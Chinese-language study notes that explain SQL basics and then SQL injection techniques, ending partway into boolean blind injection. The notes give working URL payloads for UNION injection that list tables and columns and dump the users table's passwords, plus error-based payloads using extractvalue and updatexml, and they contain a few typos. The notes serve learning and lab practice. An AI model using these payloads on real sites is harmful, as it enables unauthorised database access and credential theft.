SQL基础:
基础查询语句:select 列名 from 表名 where 限定条件
例: select * from users where id=6;
联合查询:select name from users where id=6 union select age from school where name=cc
联合查询会把两次查询的结果一起展示出来,但有个条件:前后两次查询的列数相同
,这就是为什么联合注入需要先判断列数的原因
group by是用来分组的,order by是用来排序的:
select * from users order by 3;
如果少于3列就会报错,所以对于sql注入来说可以帮助我们判断列数。
select * from users limit 1,3; 从第一行开始显示三行
select * from users limit 0,3; 从第0行开始显示三行,实际是从零开始计数
select database();
select version();
select group_concat(id,username) from users; 多行信息汇到一行显示
SQL注入基础
SQL注入定义:在原来sql语句查询的基础上,在带入数据库操作的参数拼接恶意的sql语句
SQL注入的分类:
按照查询字段分类有字符型注入和数字型注入
如何判断数字型还是字符型注入:?id=1 and 1=1为真 ?id=1 and 1=2为假 即为数字型
快速判断:?id=2-1的页面和?id=1的页面相同即为数字型。这里不用加号的原因是加号会被识别成空格
字符注入常见闭合方式:' " ') ")
按照注入手法分类有联合注入,报错注入,布尔盲注,时间盲注,堆叠注入,宽字节注入,dnslog注入,二次注入。
注入点:就是可以带入数据库操作,可进行sql注入攻击的参数
Mysql在5.0版本后有个information_schema数据库里面有个tables的表记录了所有的表名,李米娜有个columns的表记录了所有的列名。里面记录的是所有的表名列名,在实际注入的时候还需要筛选限定条件:where table_schema=database() 查询的数据库名为当前数据库,其中table_schema为information_schema.tables和information_schema.columns的列名意为数据库名称
UNION联合注入
- 寻找注入点
- 判断数字型还是字符型注入,字符型需要判断闭合
- 判断列数
- 修改原本查询参数为不存在内容并判断回显位
- 在回显位构造语句查询当前数据库下所有表名
- 在回显位构造语句查询当前数据库下对应表的所有列名
- 在回显位构造语句查询当前数据库下指定表的指定列的所有信息
2.and 1=1 and 1=2 或 ?di=2-1的页面和?id=1的页面是否一样一样来判断数字还是字符
3.order by或group by 判断列数
4.union联合注入需要把前面查询的信息输入为一个不存在的参数让他查询失败,不然查询成功他显示的还是union联合查询前面查询的内容
5.查询当前数据库下的表名:
?id=-2' union select 1,2,group_cocat(table_name) from information_schema.tables where table_schema=database() %23
group_concat(table_name)的作用是把信息汇总到一行显示
查询当前数据库下指定表的列名
?id=-2' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' %23
查询指定列的数据
?id=-2' union select 1,2,group_concat(id,'~',password) from users %23
报错注入
extractvalue()
原理:extractvalue(1,2)如果第二个参数不为地址的话机会报错,
我们写成extractvalue(1.concat('~',(查询语句)))即可
concat()是拼接的函数,把前后的字符拼接起来
报错注入默认只能回显32个字符,利用substring函数绕过
substring(1,2,3);
1是查询的内容,2是从第几位开始显示,3是一次显示几个字符
?id=-1' and 1=extractvalue(1,concat('~',(select database()))) %23
updatexml()
updatexml(1,2,3)
原理同上报错位置在2,其他无所谓
?id=-1" and 1=updatexml(1,concat('~',(select database())),3) %23
布尔盲注
通过截取的值比较ascii码的大小页面的真假值判断字符的ascii码为多少进行判断